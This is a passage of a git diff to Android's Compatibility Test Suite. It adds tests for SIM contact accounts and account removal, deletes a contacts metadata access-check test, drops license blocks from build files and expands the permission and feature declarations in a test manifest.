+            <action android:name="android.intent.action.GET_CONTENT" />
+            <data android:mimeType="vnd.android.cursor.item/contact" />
+        </intent>
+        <intent>
+            <action android:name="android.intent.action.PICK" />
+            <data android:scheme="content://com.android.contacts/contacts" />
+        </intent>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="content://com.android.contacts/contacts" />
+        </intent>
+    </queries>
+
     <application>
         <uses-library android:name="android.test.runner"/>
 
diff --git a/tests/tests/contactsprovider/gal/Android.bp b/tests/tests/contactsprovider/gal/Android.bp
index b4c2241..5b2f639 100644
--- a/tests/tests/contactsprovider/gal/Android.bp
+++ b/tests/tests/contactsprovider/gal/Android.bp
@@ -1,7 +1,3 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsContactsProviderGalProvider",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
new file mode 100644
index 0000000..3b1d025
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.SystemClock;
+import android.provider.ContactsContract.SimAccount;
+import android.provider.ContactsContract.SimContacts;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestUtils;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+@MediumTest
+public class ContactsContract_SimContactTest extends AndroidTestCase {
+    private static final int ASYNC_TIMEOUT_LIMIT_SEC = 60;
+
+    // Using unique account name and types because these tests may break or be broken by
+    // other tests running.  No other tests should use the following accounts.
+    private static final String SIM_ACCT_NAME_1 = "test sim acct name 1";
+    private static final String SIM_ACCT_TYPE_1 = "test sim acct type 1";
+    private static final String SIM_ACCT_NAME_2 = "test sim acct name 2";
+    private static final String SIM_ACCT_TYPE_2 = "test sim acct type 2";
+
+    private static final int SIM_SLOT_0 = 0;
+    private static final int SIM_SLOT_1 = 1;
+
+    private ContentResolver mResolver;
+    private List<Intent> mReceivedIntents;
+    private final BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mReceivedIntents.add(intent);
+        }
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        mReceivedIntents = Collections.synchronizedList(new ArrayList<>());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        // Reset SIM accounts
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_1);
+        });
+    }
+
+    /**
+     * SIM accounts added through
+     * {@link SimContacts#addSimAccount(ContentResolver, String, String, int, int)} should be
+     * returned by {@link SimContacts#getSimAccounts(ContentResolver)}
+     */
+    public void testAddSimAccount_returnedByGetSimAccounts() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    SimAccount.ADN_EF_TYPE);
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_2, SIM_ACCT_TYPE_2, SIM_SLOT_1,
+                    SimAccount.ADN_EF_TYPE);
+        });
+
+        List<SimAccount> simAccounts = SimContacts.getSimAccounts(mResolver);
+
+        assertThat(simAccounts).hasSize(2);
+        SimAccount simAccount1 = simAccounts.get(0);
+
+        assertThat(SIM_ACCT_NAME_1).isEqualTo(simAccount1.getAccountName());
+        assertThat(SIM_ACCT_TYPE_1).isEqualTo(simAccount1.getAccountType());
+        assertThat(SIM_SLOT_0).isEqualTo(simAccount1.getSimSlotIndex());
+        assertThat(SimAccount.ADN_EF_TYPE).isEqualTo(simAccount1.getEfType());
+
+        SimAccount simAccount2 = simAccounts.get(1);
+
+        assertThat(SIM_ACCT_NAME_2).isEqualTo(simAccount2.getAccountName());
+        assertThat(SIM_ACCT_TYPE_2).isEqualTo(simAccount2.getAccountType());
+        assertThat(SIM_SLOT_1).isEqualTo(simAccount2.getSimSlotIndex());
+        assertThat(SimAccount.ADN_EF_TYPE).isEqualTo(simAccount2.getEfType());
+    }
+
+    /**
+     * When a SIM account is added, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
+     * broadcast.
+     */
+    public void testAddSimAccount_broadcastsChange() throws Exception {
+        getContext().registerReceiver(mBroadcastReceiver,
+                new IntentFilter(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED));
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    SimAccount.ADN_EF_TYPE);
+        });
+
+        TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+                () -> mReceivedIntents.size() == 1);
+        Intent receivedIntent = mReceivedIntents.get(0);
+        assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
+    }
+
+    /**
+     * When a SIM account is removed, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
+     * broadcast.
+     */
+    public void testRemoveSimAccount_broadcastsChange() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    SimAccount.ADN_EF_TYPE);
+        });
+        getContext().registerReceiver(mBroadcastReceiver,
+                new IntentFilter(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED));
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+        });
+
+        TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+                () -> mReceivedIntents.size() == 1);
+        Intent receivedIntent = mReceivedIntents.get(0);
+        assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
+    }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
deleted file mode 100644
index 2aa864c..0000000
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.provider.cts.contacts;
-
-import android.content.ContentValues;
-import android.net.Uri;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
-/**
- * Make sure the provider is protected.
- *
- * Run with:
- * cts-tradefed run cts --class android.provider.cts.ContactsMetadataProviderTest < /dev/null
- */
-public class ContactsMetadataProviderTest extends AndroidTestCase {
-
-    /** The authority for the contacts metadata */
-    public static final String METADATA_AUTHORITY = "com.android.contacts.metadata";
-
-    /** A content:// style uri to the authority for the contacts metadata */
-    public static final Uri METADATA_AUTHORITY_URI = Uri.parse(
-            "content://" + METADATA_AUTHORITY);
-
-    /**
-     * The content:// style URI for this table.
-     */
-    public static final Uri CONTENT_URI = Uri.withAppendedPath(METADATA_AUTHORITY_URI,
-            "metadata_sync");
-
-    public void testCallerCheck() {
-        try {
-            getContext().getContentResolver().query(CONTENT_URI, null, null, null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().insert(CONTENT_URI, new ContentValues());
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().update(CONTENT_URI, new ContentValues(), null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().delete(CONTENT_URI, null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-    }
-}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
index 9613b14..532a423 100755
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -21,12 +21,14 @@
 import android.content.ContentResolver;
 import android.os.SystemClock;
 import android.provider.ContactsContract;
+import android.provider.ContactsContract.SimContacts;
 import android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
 import android.provider.cts.contacts.account.StaticAccountAuthenticator;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -48,6 +50,18 @@
     private static final Account ACCT_2 = new Account("cp removal acct 2",
             StaticAccountAuthenticator.TYPE);
 
+    // Using unique account name and types because these tests may break or be broken by
+    // other tests running.  No other tests should use the following accounts.
+    private static final String SIM_ACCT_NAME_1 = "cp removal sim acct name 1";
+    private static final String SIM_ACCT_TYPE_1 = "cp removal sim acct type 1";
+    private static final String SIM_ACCT_NAME_2 = "cp removal sim acct name 2";
+    private static final String SIM_ACCT_TYPE_2 = "cp removal sim acct type 2";
+    private static final String SIM_ACCT_NAME_3 = "cp removal sim acct name 3";
+    private static final String SIM_ACCT_TYPE_3 = "cp removal sim acct type 3";
+
+    private static final int SIM_SLOT_0 = 0;
+    private static final int SIM_SLOT_1 = 1;
+
     private ContentResolver mResolver;
     private AccountManager mAccountManager;
 
@@ -61,6 +75,11 @@
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
+        // Reset SIM accounts
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_1);
+        });
     }
 
     public void testAccountRemoval_deletesContacts() {
@@ -132,6 +151,76 @@
     }
 
     /**
+     * Contacts saved to a SIM account that was added through
+     * {@link SimContacts#addSimAccount(ContentResolver, String, String, int, int)}
+     * should not be deleted.
+     *
+     * <p>These SIM accounts are special cases that are not added to
+     * {@link AccountManager}. Normally raw contacts with an
+     * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_NAME} and
+     * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_TYPE} that do not correspond
+     * to an added account will be removed but this should not be done for these SIM accounts.
+     */
+    public void testAccountRemoval_doesNotDeleteSimAccountContacts() {
+        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    ContactsContract.SimAccount.ADN_EF_TYPE);
+        });
+        ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
+
+        long simRawContactId = RawContactUtil
+                .createRawContactWithAutoGeneratedName(mResolver,
+                        new Account(SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1));
+
+        mAccountManager.removeAccount(ACCT_1, null, null);
+        // Wait for deletion of the contacts in the removed account to finish before verifying
+        // the existence of the device contacts
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
+
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, simRawContactId));
+    }
+
+    /**
+     * Contacts saved to a SIM account that was added through
+     * {@link SimContacts#addSimAccount(ContentResolver, String, String, int, int)}
+     * should be deleted when {@link SimContacts#removeSimAccounts(ContentResolver, int)} is called.
+     * Only SIM accounts from the sim slot index should be removed.
+     */
+    public void testRemoveSimAccount_deleteSimAccountContacts() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    ContactsContract.SimAccount.ADN_EF_TYPE);
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_2, SIM_ACCT_TYPE_2, SIM_SLOT_0,
+                    ContactsContract.SimAccount.SDN_EF_TYPE);
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_3, SIM_ACCT_TYPE_3, SIM_SLOT_1,
+                    ContactsContract.SimAccount.ADN_EF_TYPE);
+        });
+
+
+        ArrayList<ContactIdPair> acc1Ids = createContacts(
+                new Account(SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1), 5);
+        ArrayList<ContactIdPair> acc2Ids = createContacts(
+                new Account(SIM_ACCT_NAME_2, SIM_ACCT_TYPE_2), 5);
+
+
+        long secondSimSlotRawContactId = RawContactUtil
+                .createRawContactWithAutoGeneratedName(mResolver,
+                        new Account(SIM_ACCT_NAME_3, SIM_ACCT_TYPE_3));
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+        });
+        // Wait for deletion of the contacts in the removed account to finish before verifying
+        // the existence of the device contacts
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc2Ids);
+
+        // Sim contacts in a different slot should remain
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, secondSimSlotRawContactId));
+    }
+
+    /**
      * Contact has merged raw contacts from different accounts. Contact should not be deleted when
      * one account is removed.  But contact should have last updated timestamp updated.
      */
diff --git a/tests/tests/contactsproviderwipe/Android.bp b/tests/tests/contactsproviderwipe/Android.bp
index 2a82727..c3ce587 100644
--- a/tests/tests/contactsproviderwipe/Android.bp
+++ b/tests/tests/contactsproviderwipe/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsContactsProviderWipe",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index 0f87a3b..42a798a 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsContentTestCases",
     defaults: ["cts_defaults"],
@@ -46,6 +42,8 @@
         "testng",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "cts-install-lib",
+        "ShortcutManagerTestUtils",
     ],
     // Use multi-dex as the compatibility-common-util-devicesidelib dependency
     // on compatibility-device-util-axt pushes us beyond 64k methods.
@@ -67,8 +65,33 @@
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "BinderPermissionTestService/**/I*.aidl",
     ],
+    data: [
+        // v1/v2/v3/v4 signed version of android.appsecurity.cts.tinyapp to keep checksums stable
+        "data/CtsPkgInstallTinyAppV1.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4.apk.idsig",
+        "data/CtsPkgInstallTinyAppV2V3V4.digests",
+        "data/CtsPkgInstallTinyAppV2V3V4.digests.signature",
+        "data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig",
+        "data/CtsPkgInstallTinyAppV2V3V4-Verity.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig",
+        "data/HelloWorld5.digests",
+        "data/HelloWorld5.digests.signature",
+        "data/HelloWorld5_hdpi-v4.digests",
+        "data/HelloWorld5_hdpi-v4.digests.signature",
+        "data/HelloWorld5_mdpi-v4.digests",
+        "data/HelloWorld5_mdpi-v4.digests.signature",
+        "data/test-cert.x509.pem",
+    ],
+    java_resources: [
+        ":PackagePropertyTestApp1",
+        ":PackagePropertyTestApp2",
+        ":PackagePropertyTestApp3",
+    ],
     platform_apis: true,
     // Tag this module as a cts test artifact
     test_suites: [
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 45b6795..69dac6e 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
  * Copyright (C) 2007 The Android Open Source Project
  *
@@ -15,353 +16,546 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.cts">
+     package="android.content.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <!-- content sync tests -->
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.USE_CREDENTIALS" />
-    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.READ_SYNC_STATS" />
-    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER" />
-    <uses-permission android:name="android.permission.BROADCAST_STICKY" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.content.cts.permission.TEST_GRANTED" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.USE_CREDENTIALS"/>
+    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
+    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
+    <uses-permission android:name="android.permission.BROADCAST_STICKY"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.content.cts.permission.TEST_GRANTED"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <!-- Used for ContextTest#testCreatePackageContextAsUser -->
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <!-- Used for PackageManager test, don't delete this INTERNET permission -->
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <!-- Used for PackageManager test, don't delete this permission-tree -->
     <permission-tree android:name="android.content.cts.permission.TEST_DYNAMIC"
-                    android:label="Test Tree"/>
+         android:label="Test Tree"/>
 
     <!-- Used for PackageManager test, don't delete this permission-group -->
     <permission-group android:name="android.permission-group.COST_MONEY"
-            android:label="@string/permlab_costMoney"
-            android:description="@string/permdesc_costMoney"/>
+         android:label="@string/permlab_costMoney"
+         android:description="@string/permdesc_costMoney"/>
 
     <permission android:name="android.content.cts.CALL_ABROAD_PERMISSION"
-                android:label="@string/permlab_callAbroad"
-                android:description="@string/permdesc_callAbroad"
-                android:protectionLevel="normal"
-                android:permissionGroup="android.permission-group.COST_MONEY" />
+         android:label="@string/permlab_callAbroad"
+         android:description="@string/permdesc_callAbroad"
+         android:protectionLevel="normal"
+         android:permissionGroup="android.permission-group.COST_MONEY"/>
 
     <permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED_2"
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED_2"
+         android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2"
+                android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+                android:protectionLevel="normal"/>
 
     <permission android:name="android.content.cts.REQUIRED_MULTI_GRANT"
-        android:protectionLevel="normal" />
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_2"
+         android:protectionLevel="normal"/>
+
+    <permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_3"
+                android:protectionLevel="normal"/>
 
     <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED"
-        android:requiredFeature="android.software.cts" />
+         android:requiredFeature="android.software.cts"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_DEFINED_2">
+        <required-feature android:name="android.software.cts"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED"
-        android:requiredFeature="android.software.cts.undefined" />
+         android:requiredFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_FEATURE_UNDEFINED">
+        <required-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED"
-        android:requiredNotFeature="android.software.cts" />
+         android:requiredNotFeature="android.software.cts"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_DEFINED">
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED"
-        android:requiredNotFeature="android.software.cts.undefined" />
+         android:requiredNotFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_NOT_FEATURE_UNDEFINED_2">
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:requiredFeature="android.software.cts.undefined"
-        android:requiredNotFeature="android.software.cts" />
+         android:requiredFeature="android.software.cts.undefined"
+         android:requiredNotFeature="android.software.cts"/>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:requiredFeature="android.software.cts"
-        android:requiredNotFeature="android.software.cts" />
+         android:requiredFeature="android.software.cts"
+         android:requiredNotFeature="android.software.cts"/>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY"
-        android:requiredFeature="android.software.cts.undefined"
-        android:requiredNotFeature="android.software.cts.undefined" />
+         android:requiredFeature="android.software.cts.undefined"
+         android:requiredNotFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts.undefined"/>
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts.undefined"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-not-feature android:name="android.software.cts"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-feature android:name="android.software.cts.another.undefined"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredFeature="android.software.cts">
+        <required-not-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredFeature="android.software.cts.undefined">
+        <required-not-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredNotFeature="android.software.cts">
+        <required-feature android:name="android.software.cts"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_DENY_3"
+         android:requiredNotFeature="android.software.cts.undefined">
+        <required-feature android:name="android.software.cts.undefined"/>
+    </uses-permission>
 
     <uses-permission android:name="android.content.cts.REQUIRED_MULTI_GRANT"
-        android:requiredFeature="android.software.cts"
-        android:requiredNotFeature="android.software.cts.undefined" />
+         android:requiredFeature="android.software.cts"
+         android:requiredNotFeature="android.software.cts.undefined"/>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_2">
+        <required-feature android:name="android.software.cts"/>
+        <required-not-feature android:name="android.software.cts.undefined"/>
+        <required-not-feature android:name="android.software.cts.another.undefined"/>
+    </uses-permission>
+
+    <uses-permission android:name="android.content.cts.REQUIRED_MULTI_GRANT_3"
+         android:requiredFeature="android.software.cts"
+         android:requiredNotFeature="android.software.cts.undefined">
+        <required-not-feature android:name="android.software.cts.another.undefined"/>
+    </uses-permission>
 
     <permission android:name="android.content.cts.SIGNATURE_PERMISSION"
-        android:protectionLevel="signature" />
+         android:protectionLevel="signature"/>
 
-    <uses-permission android:name="android.content.cts.SIGNATURE_PERMISSION" />
+    <uses-permission android:name="android.content.cts.SIGNATURE_PERMISSION"/>
 
     <!-- Used for PackageManager test, don't delete! -->
     <uses-configuration/>
-    <uses-feature android:name="android.hardware.camera" />
-    <uses-feature android:glEsVersion="0x00020000" />
+    <uses-feature android:name="android.hardware.camera"/>
+    <uses-feature android:glEsVersion="0x00020000"/>
     <feature-group/>
     <feature-group>
-        <uses-feature android:glEsVersion="0x00030000" />
-        <uses-feature android:name="android.hardware.location" />
+        <uses-feature android:glEsVersion="0x00030000"/>
+        <uses-feature android:name="android.hardware.location"/>
     </feature-group>
     <feature-group>
-        <uses-feature android:glEsVersion="0x00010001" />
-        <uses-feature android:name="android.hardware.camera" />
+        <uses-feature android:glEsVersion="0x00010001"/>
+        <uses-feature android:name="android.hardware.camera"/>
     </feature-group>
 
+    <attribution android:tag="attribution_tag_one"
+                 android:label="@string/attribution_label_one" />
+
+    <attribution android:tag="attribution_tag_two"
+                 android:label="@string/attribution_label_two" />
+
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:name="android.content.cts.MockApplication"
-                android:supportsRtl="true"
-                android:appCategory="productivity">
-        <activity android:name="android.content.cts.MockActivity">
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:name="android.content.cts.MockApplication"
+         android:supportsRtl="true"
+         android:appCategory="productivity">
+
+        <!-- Application level metadata -->
+        <meta-data android:name="android.content.cts.string"
+                   android:value="foo"/>
+        <meta-data android:name="android.content.cts.boolean"
